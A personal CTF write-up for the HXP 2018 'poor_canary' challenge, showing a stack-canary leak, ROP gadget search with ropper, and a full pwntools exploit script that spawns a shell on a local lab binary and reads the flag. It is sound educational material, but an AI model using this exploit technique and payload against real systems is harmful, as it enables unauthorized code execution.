A Simple ROP Exploit | poor_canary writeup
HXP 2018 has a “baby” challenge called poor_canary which was my first actual ROP exploit. If you want to follow along you’ll need to download and install the hxp 2018 vm image and install it locally. If you’re on a mac, you might need to port forward in order to get the image working properly. I have the following in my .zshrc
:
##############################
# HXP CTF #
##############################
function hxp () {
if [ -n "$1" ]
then
echo "Forwarding HXP through to port $($1)"
ssh -v -p22222 -L"$1":127.0.1:"$1" hxp@127.0.0.1
else
echo "Running HXP main on port 8888"
ssh -p22222 -L8888:127.0.1:80 hxp@127.0.0.1
fi
}
That way I can just open up a new screen
with my vm running and run hxp
to have my vm serve the hxp site to localhost:8888
and if I want to forward one of the services I can run something like hxp 18113
and then nc localhost 18113
will work as expected. I’d like to give a huge shout out to the ENOFLAG team who’s writeup helped me comprehend this challenge. Now that that’s settled, let’s jump in.
Pwntools
I’d never used pwntools before, but it’s something that is completely necessary for this challenge. I set it up in a virtual environment and just source
that anytime I want to use it.
Solution
Looking at the c
code provided shows us that this is a buffer overflow exploit, but the title leads us to believe that the stack has a canary in it. Looking at the binary in binary ninja
confirms this hunch.
We can also see that the function pointer to system
is saved after main
so we can guess that this address should be somewhere in the binary.
Further analysis of the binary shows us that __libc_system
is located at address 0x0016d90
.
Now that we know this information, we need to start messing with payloads to send to the binary. Running the command pwn template --host 127.0.0.1 --port 18113 ./canary
will generate code to connect to a remote host and send payloads to it. This is part of pwntools
. Once we connect to the remote, we can send some code like this:
io.recvline() # Get the welcome message
io.send('A' * 41) # Send something to get canary
r = io.recvline() # Get something with the canary
canary = bytes('\x00' + r[43:-1])# Get the canary
print 'Canary: 0x{:x}'.format(u32(canary))
What does this actually do? Well looking at the c
code we can see that we are allocated a 40 character buffer, but we can read
in 0x60
characters. It’s also important to note that many canary’s start with 0x00
(why? because this makes it harder to get the canary because this acts like a null terminator). But, in our binary, if we just send 41 characters this will overwrite the null byte and send the remainder of the canary! Then we add back 0x00
to get our canary and we’re ready to move forward.
Next comes finding the string /bin/sh
, since this is what we’d ideally like to pass to system
to spawn a shell. So let’s use ropper
to see if there is anything in our binary.
$ ropper -f canary --string "/bin/sh"
Strings
=======
Address Value
------- -----
0x00071eb0 /bin/sh
Well that was easy; ropper
rocks!
Now, where do we put this string in order to have it be run by system
? Using godbold to help us we can look at the ARM assembly for system("/bin/sh");
.
.LC0:
.ascii "/bin/sh\000"
square:
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
ldr r0, .L2
bl system
nop
mov r0, r3
sub sp, fp, #4
pop {fp, pc}
.L2:
.word .LC0
Great, so we push our command into register r0
and then system will use that as its argument. Now let’s find some rop
gadgets that put things into r0
. Keep in mind that ARM is a little weird and uses the concept of <a href="http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0552a/BABIAJHJ.html">reglists</a>
to push and pop multiple registers at the same time.
$ ropper -f canary --nocolor | grep ": pop {r0"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x0005ab20: pop {r0, r1, r2, r3, ip, lr}; ldr r1, [r0, #4]; bx r1;
0x0005a120: pop {r0, r1, r2, r3, r4, lr}; bx ip;
0x0005ab04: pop {r0, r1, r3, ip, lr}; pop {r2}; ldr r1, [r0, #4]; bx r1;
0x00026b7c: pop {r0, r4, pc};
pop {r0, r4, pc}
looks ideal. This will take the next three words off the stack and save them into r0
, r4
, and pc
respectively. And with this we can construct our payload! We have 40 bytes of garbage to fill up the buffer, the canary, 12 bytes of garbage (this I just took from the other writeup, if someone could explain exactly how to get this 12 byte offset for the return address that would be really helpful), our ROP gadget, the address of /bin/sh
, 4 bytes of garbage (we don’t care what gets saved into r4), and finally the address of system
.
To fully lay it out, this will overwrite the return address to be our ROP gadget, which will then pop
the address of /bin/sh
into r0
and change the PC
to the system
function. This is essentially calling system("/bin/sh");
. Our full exploit script looks like so:
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 127.0.0.1 --port 18113 ./canary
from pwn import *
import ipdb
# Set up pwntools for the correct architecture
exe = context.binary = ELF('./canary')
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or '127.0.0.1'
port = int(args.PORT or 18113)
def local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return local(argv, *a, **kw)
else:
return remote(argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
break *0x{exe.symbols.main:x}
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: arm-32-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x10000)
io = start()
io.recvline() # Get the welcome message
# Why does this work? The canary starts after the 40th byte. But, we can overflow
# the buffer up to 0x60. By writing over the first byte of the canary (which is always
# the null byte 0x00) we can print out the bytes after it until we get another null byte
# or return value. So we then snag the bytes after the 41 chars we send and add 0x00 later
# to recreate the canary.
io.send('A' * 41) # Send something to get canary
r = io.recvline() # Get something with the canary
canary = bytes('\x00' + r[43:-1]) # Get the canary
print 'Canary: 0x{:x}'.format(u32(canary))
# 0x00026b7c: pop {r0, r4, pc};
# Can get this from running: ropper -f canary --nocolor | grep ": pop {r0"
# 0x00071eb0 /bin/sh
# ropper -f canary --string "/bin/sh"
# __libc_system : 0x00016d90
# This one I had to look up in binary ninja because IDA wasn't working with ARM
# arch. This is the func* to system().
pwnn = "A"*40 + canary + "A"*12 + "\x7c\x6b\x02\x00" + "\xb0\x1e\x07\x00" + "A"*4 + "\x90\x6D\x01\x00"
io.send(pwnn)
io.recvuntil("> ")
io.send('\n')
io.interactive()
And this gives us access! When we run:
$ ./prawn.py
[*] '/Users/telwell/Dropbox/coding_bkup/Coding/ctf/hxp/2018/poor_canary/canary'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x10000)
[+] Opening connection to 127.0.0.1 on port 18113: Done
Canary: 0x4f35000
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> $ ls
canary
flag.txt
$ cat flag.txt
hxp{w3lc0m3_70_7h3_31337_club_k1dd0}